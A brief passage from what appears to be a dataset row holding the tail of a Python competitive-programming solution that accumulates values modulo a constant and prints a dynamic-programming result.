sum = sum*10 + z
sum%=mod
ha+=sum
ha%=mod
# print(dp,sum)
print(dp[n]%mod)
# t = int(input())
# for _ in range(t):
solve()
``` | output | 1 | 54,136 | 10 | 108,273 |
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